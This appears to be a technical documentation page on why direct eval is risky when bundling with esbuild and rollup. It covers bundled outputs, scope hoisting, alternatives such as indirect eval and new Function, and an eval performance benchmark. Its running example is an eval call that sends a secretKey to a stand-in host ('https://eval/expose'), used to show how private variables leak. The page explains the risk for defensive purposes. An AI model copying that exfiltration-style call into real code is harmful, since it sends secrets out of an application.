Skip to content

Avoid direct eval when bundling

Prerequisites

In the current context:

  • Direct eval: Calls in the form of eval(x) that can access variables in the current context.
  • Indirect eval: Any eval that is not called directly in the form of eval('x'). Such as (0, eval)('x'), window.eval('x') or [eval][0]('x'). This method executes code in the global scope rather than the lexical scope of the calling location.

This chapter mainly studies how modern ESM Bundlers (esbuild, rollup) handle eval during bundling, analyzes the security risks of eval in various ESM Bundlers, and provides solutions.

Basic Example

Take the following code as an example, using direct eval to analyze specific problems.

js
import { info } from './info.js';

console.log(info);

eval(`fetch('https://eval/expose?secretKey=secretKey')`);
js
import { secretKey } from './private.js';

export const info = await fetch(`/getInfo?secretKey=${secretKey}`);
js
export const secretKey = '12345678';

Behavior in Esbuild

Before version 0.14.8, according to the above code example, the bundled output through esbuild is as follows:

Playground

js
// private.js
var secretKey = '12345678';

// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);

// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);

Note that esbuild does not do any special processing for direct eval code, which poses a potential cross-boundary access problem, where private variables (secretKey) from private modules are exposed.

However, interestingly, when trying to use the next version (0.14.9), bundling the same code example results in the following output:

Playground

js
var __getOwnPropNames = Object.getOwnPropertyNames;
var __esm = (fn, res) => function __init() {
  return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
};
var __commonJS = (cb, mod) => function __require() {
  return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
};

// private.js
var secretKey;
var init_private = __esm({
  "private.js"() {
    secretKey = "12345678";
  }
});

// info.js
var info;
var init_info = __esm({
  async "info.js"() {
    init_private();
    info = await fetch(`/getInfo?secretKey=${secretKey}`);
  }
});

// main.js
var require_main = __commonJS({
  "main.js"(exports, module) {
    await init_info();
    console.log(info);
    eval(`fetch('https://eval/expose?secretKey=secretKey')`);
  }
});
export default require_main();

esbuild has made additional processing for eval, seemingly downgrading the bundling strategy for esm, using commonjs bundling strategy to wrap each scope in function scope, making modules independent of each other.

Is this really the case?

Looking at esbuild's release notes for version 0.14.9, unfortunately, there is no mention of any handling for eval.

By checking the commit records between 0.14.8 and 0.14.9, we can find an interesting commit: make esm detection more consistent.

Before the change:

go
// Pessimistically assume that if this looks like a CommonJS module
// (no "import" or "export" keywords), a direct call to "eval" means
// that code could potentially access "module" or "exports".

After the change:

go
// Pessimistically assume that if this looks like a CommonJS module
// (e.g. no "export" keywords), a direct call to "eval" means that
// code could potentially access "module" or "exports".

It can be observed that after the change, esbuild extended its judgment for commonjs modules.

esbuild will consider a module as a commonjs module if it uses eval but doesn't use the export keyword (the previous decision condition was that if a module contains the import keyword, it would be considered an esm module), thus adopting the commonjs bundling strategy, wrapping each scope in function scope to make them independent.

In this scenario, if you want to guide esbuild to treat the current module as an esm module, you need to add the export keyword in the module using eval.

js
import { info } from './info.js';

console.log(info);

eval(`fetch('https://eval/expose?secretKey=secretKey')`);

export {}

After rebundling, the output is as follows:

Playground

js
// private.js
var secretKey = '12345678';

// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);

// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);

Nothing has changed, esbuild has not done any special processing for eval, and eval still has the problem of accessing private variables.

Behavior in Rollup

The bundled output is as follows:

Playground

js
const secretKey = '12345678';

const info = await fetch(`/getInfo?secretKey=${secretKey}`);

console.log(info);

eval(`fetch('https://eval/expose?secretKey=secretKey')`);

rollup behaves the same as esbuild, neither doing any special processing for eval, and eval has the problem of cross-boundary access to private variables in both cases.

Avoid Direct Use of Eval

Both rollup and esbuild advocate avoiding direct use of eval and give the following reasons:

Scope Hoisting Conflict

ESM Bundlers include an optimization called scope hoisting, which combines all bundled modules into a single file and renames variables to avoid naming conflicts in the same scope. This flattening nature of modules means that code parsed through direct eval can read and write variables from any file in the bundle, which poses security and correctness issues:

  • Correctness: The statement to be executed by eval might want to access global variables, but due to scope hoisting, it accidentally accesses private variables with the same name from another module, which doesn't match the user's intention.
  • Security: As a supplement to the above, if accessing private variables from another module contains sensitive data, it may lead to sensitive data leakage.

Import Variable Issues

When the parsed code references variables imported using import statements, it may not work properly. Imported variables are reference bindings to exported variables in dependent modules, not copies of these variables. Therefore, when ESM Bundlers bundle code, imported variables are replaced with direct references to exported variables in dependent modules. At the same time, ESM Bundlers need to ensure there are no naming conflicts in each module, and will rename variables with the same name in each module, which may cause the originally imported variable names to change due to renaming. ESM Bundlers do not perform lexical analysis, syntax analysis, or semantic analysis on the execution statements in eval.

In other words, if the reference name that eval depends on is inconsistent with the context (due to renaming because of conflicts with variable names declared in other modules), then the reference name in eval will cause exception errors because it cannot find the originally dependent reference name.

Optimization Limitations

Using direct eval forces ESM Bundlers to de-optimize all code in all scopes containing direct eval calls. The reason is for correctness, because direct eval potentially can access variable references in its calling scope and upper scope chain, so this code cannot be considered dead code and eliminated, nor will it be minified.

Naming Conflict Issues

Since code parsed by direct eval may reference any reachable variable by name, ESM Bundlers cannot rename all reachable variables of the parsed code. This means ESM Bundlers cannot rename variables to avoid name conflicts with other variables in the bundle. Therefore, direct eval causes ESM Bundlers to wrap modules in commonjs closures, introducing new scopes to avoid name conflicts. However, this makes the final generated code larger and slower, because variables exported from modules need to be determined at runtime rather than at compile time, so ESM Bundlers cannot do a lot of static analysis optimization (i.e., tree-shaking).

Alternative Solutions

The underlying logic of the solution is to make eval not affect the current module scope, only affect the global scope, so ESM Bundlers don't need to consider any impact of eval on module scope during bundling (as mentioned above).

Indirect eval

Indirect eval is any eval that is not called directly in the form of eval('x'), such as (0, eval)('x'), window.eval('x') or [eval][0]('x'). It executes code in the global scope rather than the lexical scope of the calling location.

html
<!doctype html>
<html lang="en">
  <body>
    <script>
      window.localVar = 'global local';
    </script>
    <script type="module">
      const localVar = 'module local';
      function directEvalTest() {
        const localVar = 'local';
        return eval('localVar');
      }
      function indirectEvalTest() {
        const localVar = 'local';
        return (0, eval)('localVar');
      }
      // local
      console.log(directEvalTest());
      // global local
      console.log(indirectEvalTest());
    </script>
  </body>
</html>

Using indirect call of eval will make eval break away from the current module scope and execute in the global scope, so ESM Bundlers don't need to consider any impact of eval on module scope during bundling.

esbuild's strategy using indirect eval:

Playground

js
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
  var foo = 42;
  eval2('console.log("with eval2:",foo)');
}
hook(value);

export {};
js
// main.js
var eval2 = eval;
var value = 43;
var hook = () => {
  var foo = 42;
  eval2('console.log("with eval2:",foo)');
};
hook(value);

rollup's strategy using indirect eval:

Playground

js
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
  var foo = 42;
  eval2('console.log("with eval2:",foo)');
}
hook(value);

export {};
js
var eval2 = eval;
const hook = () => {
  eval2('console.log("with eval2:",foo)');
};
hook();

It can be observed that both esbuild and rollup treat eval as a side-effect statement, and during tree-shaking, they will retain the eval statement.

However, here rollup takes a more aggressive approach, considering that eval's side effects will not affect any variable references in the module scope; while esbuild takes a more conservative strategy, eval's side effects will infect the scope it is in to also have side effects.

Summary

Indirect eval always executes in the global scope, so:

  • Cannot access local variables: Only global variables can be accessed, and it is impossible to read or modify any local variables in the bundled file.
  • No impact on variable renaming: ESM Bundlers can freely rename local variables without affecting the behavior of indirect eval.
  • Allows optimization: Since there is no potential lexical scope dependency, tree-shaking and minification can proceed normally.

From the perspective of ESM Bundlers:

  • Direct eval: Must preserve all variable names that might be accessed, disables renaming optimization, and cannot perform tree-shaking.
  • Indirect eval: No special handling required, can safely rename variables, tree-shake, merge module scopes, and minify.

Indirect eval essentially solves the problem because it is restricted by the language specification to execute in the global scope, and cannot penetrate into the local scope, thus being completely isolated from the module system of the bundled code.

Using new Function

new Function executes code in the global scope rather than the defining scope.

Test the following code:

js
function outerFunc() {
  const localVar = 'local var';
  const value = 'local val';
  const fnResult = new Function('return localVar')(value);
  return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());

It can be seen that both rollup and esbuild handle new Function similarly to eval, treating new Function as a side-effect statement and retaining it during tree-shaking. However, a difference here is that arguments passed to new Function are also considered to have side effects.

Additional Knowledge

Why doesn't the JavaScript VM preprocess eval statements?

Some may think the above problems are due to the JavaScript VM not preprocessing eval statements, and that after parsing the statement, it could know which variables are accessed and optimize accordingly.

But the main reason is the dynamic nature of eval. The result of eval depends on runtime, not compile time, so the JavaScript VM cannot optimize at compile time and must defer parsing to runtime. This is also one of the main reasons for eval's poor performance, as it forces the engine to do extra parsing and compilation at runtime.

Performance difference between eval and new Function

eval performs poorly mainly because each call to eval requires re-parsing and compiling the code, while new Function only needs to parse and compile once; when looking up variables, direct eval must traverse the entire scope chain, including local variables. In contrast, new Function / indirect eval only look up in the global scope, with a shorter scope chain.

Performance Testing: new Function vs. eval

This report presents a series of real-world performance tests comparing the performance of new Function and eval in different scenarios in JavaScript. The results show that new Function provides significantly better execution efficiency than eval in most cases, providing empirical support for code bundlers (like esbuild) to recommend using new Function instead of direct eval from a performance perspective.

Test Cases

All tests use the same benchmarking method, including:

  • Warm-up phase: Run the operation 5 times to allow the JavaScript engine to apply JIT optimizations.
  • Multiple iterations: Each test scenario is repeated many times to obtain stable results.
  • Outlier handling: Sort the results of multiple tests, remove the highest and lowest values, and average the middle values.
Test Cases
js
// Helper function: measure execution time (ms)
function benchmark(name, iterations, fn) {
  console.log(`\nStart test: ${name} (${iterations} iterations)`);

  // Warm-up (allow JIT optimization)
  for (let i = 0; i < 5; i++) {
    fn();
  }

  // Actual measurement
  const times = [];
  for (let i = 0; i < 5; i++) {
    const start = performance.now();
    for (let j = 0; j < iterations; j++) {
      fn();
    }
    const end = performance.now();
    times.push((end - start) / iterations);
  }

  // Calculate average time (remove highest and lowest)
  times.sort((a, b) => a - b);
  const avgTime =
    times.slice(1, 4).reduce((sum, time) => sum + time, 0) / 3;

  console.log(`${name}: average ${avgTime.toFixed(6)}ms/op`);
  return avgTime;
}

// Final consistent test
console.log('\n====== Final Consistency Test ======');

const testCases = [
  {
    name: 'Simple Expression',
    code: '1 + 2 * 3',
    iterations: 10000
  },
  {
    name: 'Variable Access',
    code: 'let a = 10; let b = 20; a + b',
    iterations: 10000
  },
  {
    name: 'Loop Calculation',
    code: 'let sum = 0; for (let i = 0; i < 100; i++) { sum += i * i; } sum',
    iterations: 1000
  },
  {
    name: 'Complex Calculation',
    code: 'let result = 0; for (let i = 0; i < 100; i++) { result += Math.sin(i * 0.01); } result',
    iterations: 500
  }
];

for (const test of testCases) {
  console.log(`\n** Test: ${test.name} **`);

  // Direct eval
  const evalTime = benchmark(
    `Direct eval - ${test.name}`,
    test.iterations,
    () => {
      eval(test.code);
    }
  );

  // Create and immediately execute new Function
  const newFunctionTime = benchmark(
    `Each time create new Function - ${test.name}`,
    test.iterations,
    () => {
      new Function(`${test.code}`)();
    }
  );

  // Pre-create and reuse new Function
  const preCreatedFn = new Function(`${test.code}`);
  const preCreatedTime = benchmark(
    `Reuse pre-created Function - ${test.name}`,
    test.iterations,
    () => {
      preCreatedFn();
    }
  );

  console.log(`\n${test.name} Test Results:`);
  console.log(
    `Direct eval vs Reuse pre-created Function = ${(evalTime / preCreatedTime).toFixed(2)}x ${evalTime < preCreatedTime ? 'Slower' : 'Faster'}`
  );
  console.log(
    `Each time create new Function vs Reuse pre-created Function = ${(newFunctionTime / preCreatedTime).toFixed(2)}x ${newFunctionTime < preCreatedTime ? 'Slower' : 'Faster'}`
  );
}
bash
====== Final Consistency Test ======

** Test: Simple Expression **

Start test: Direct eval - Simple Expression (10000 iterations)
Direct eval - Simple Expression: average 0.000188ms/op

Start test: Each time create new Function - Simple Expression (10000 iterations)
Each time create new Function - Simple Expression: average 0.000354ms/op

Start test: Reuse pre-created Function - Simple Expression (10000 iterations)
Reuse pre-created Function - Simple Expression: average 0.000007ms/op

Simple Expression Test Results:
Direct eval vs Reuse pre-created Function = 28.20x Faster
Each time create new Function vs Reuse pre-created Function = 53.05x Faster

** Test: Variable Access **

Start test: Direct eval - Variable Access (10000 iterations)
Direct eval - Variable Access: average 0.000116ms/op

Start test: Each time create new Function - Variable Access (10000 iterations)
Each time create new Function - Variable Access: average 0.000362ms/op

Start test: Reuse pre-created Function - Variable Access (10000 iterations)
Reuse pre-created Function - Variable Access: average 0.000010ms/op

Variable Access Test Results:
Direct eval vs Reuse pre-created Function = 11.06x Faster
Each time create new Function vs Reuse pre-created Function = 34.51x Faster

** Test: Loop Calculation **

Start test: Direct eval - Loop Calculation (1000 iterations)
Direct eval - Loop Calculation: average 0.000196ms/op

Start test: Each time create new Function - Loop Calculation (1000 iterations)
Each time create new Function - Loop Calculation: average 0.000506ms/op

Start test: Reuse pre-created Function - Loop Calculation (1000 iterations)
Reuse pre-created Function - Loop Calculation: average 0.000111ms/op

Loop Calculation Test Results:
Direct eval vs Reuse pre-created Function = 1.77x Faster
Each time create new Function vs Reuse pre-created Function = 4.58x Faster

** Test: Complex Calculation **

Start test: Direct eval - Complex Calculation (500 iterations)
Direct eval - Complex Calculation: average 0.000559ms/op

Start test: Each time create new Function - Complex Calculation (500 iterations)
Each time create new Function - Complex Calculation: average 0.000985ms/op

Start test: Reuse pre-created Function - Complex Calculation (500 iterations)
Reuse pre-created Function - Complex Calculation: average 0.000498ms/op

Complex Calculation Test Results:
Direct eval vs Reuse pre-created Function = 1.12x Faster
Each time create new Function vs Reuse pre-created Function = 1.98x Faster

Conclusion

  1. Pre-compile new Function always performs best

    In all test scenarios, reusing pre-compiled new Function instances is much faster than direct eval and each time create new Function instances:

    • Simple Expression: 28.2x faster than direct eval.
    • Variable Access: 11.06x faster than direct eval.
    • Loop Calculation: 1.77x faster than direct eval.
    • Complex Calculation: 1.12x faster than direct eval.
  2. Creating new Function instances is costly

    Creating new Function instances each time is always the slowest method, much slower than direct eval and reusing function:

    • Compared to reusing pre-compiled function: 53x slower.
    • **Compared to direct eval: 1.5-2x slower.
  3. Performance advantage decreases with complexity

    As calculation complexity increases, the performance difference between methods becomes smaller:

    • For simple expressions, reusing function is 28.2x faster than direct eval.
    • For complex calculation, this advantage is only 1.12x.

    This indicates that as actual calculation becomes more dense, the overhead of execution methods becomes less significant relative to the calculation time itself.

Suitable Scenario Selection
  • Simple expressions and variable access: Pre-compile function's performance advantage is extremely significant, should be used as much as possible.
  • Complex calculation: Although pre-compile function still has an advantage, the gap is not too obvious. At this point, it can be flexibly selected according to code organization needs.
  • Frequently changing code: If the executed code often changes, the overhead of creating function should be weighed against the possibility of using direct eval.

In summary, create a function once and reuse it multiple times, rather than creating a new function instance each time. When choosing methods, consider specific use scenarios, code complexity, and execution frequency to achieve the best performance and code organization.

eval and Pre-compile Optimization Technical Obstacles

The JavaScript engine faces a fundamental technical challenge in handling eval function because it cannot apply pre-compile optimization like new Function because of the highly context-dependent nature of eval.

Engine first needs to parse the incoming code string, build an abstract syntax tree (AST), then create an execution context for this temporary code, this context must be able to access all variables and functions in the calling scope. Since eval might read or modify any accessible variable in the current scope chain, engine must perform scope detection, establish variable access mapping table, ensure dynamic code can correctly bind to external scope identifiers.

Caching eval's compiled result faces a huge technical challenge because of the highly context-dependent nature of eval. The same eval code in different calling position or execution path may depend on completely different variable set of scope. If effective caching is needed, engine not only needs to store compiled code but also needs to store complete scope snapshot, and verify current scope matches the cached scope before execution each time. This verification process is extremely complex and computationally intensive, its cost may exceed re-compilation overhead. Even highly optimized engines like v8 are difficult to implement effective caching mechanism for eval because potential scope change pattern is almost infinite, and detecting these changes is costly.

More seriously, eval's existence blocks javascript engine from applying a series of key optimization techniques. Modern jit compiler depends on code's static predictability to perform optimization, but eval breaks predictability. When engine encounters eval, it must conservatively assume that any local variable might be modified, any object structure might be reshaped. This directly blocks inlining optimization, engine cannot replace function call with its implementation code; type inference is also interrupted because variable type might change after eval execution; escape analysis fails, engine cannot determine whether variable strictly used in function range; hidden class optimization is disabled because object structure might be dynamically modified. These optimization mechanisms fail in code paths containing eval, usually slower than equivalent static code by 10-100 times, running in interpreter mode rather than optimized machine code mode. This performance difference is especially obvious in complex applications or frequently executed code paths, which is why most modern bundlers, javascript guides, type check tools strongly recommend avoiding eval, turning to more predictable and easier to optimize alternative solutions like new Function, property accessor or mapping table etc. mode.

Contributors

Changelog

Discuss

Released under the CC BY-SA 4.0 License. (dbcbf17)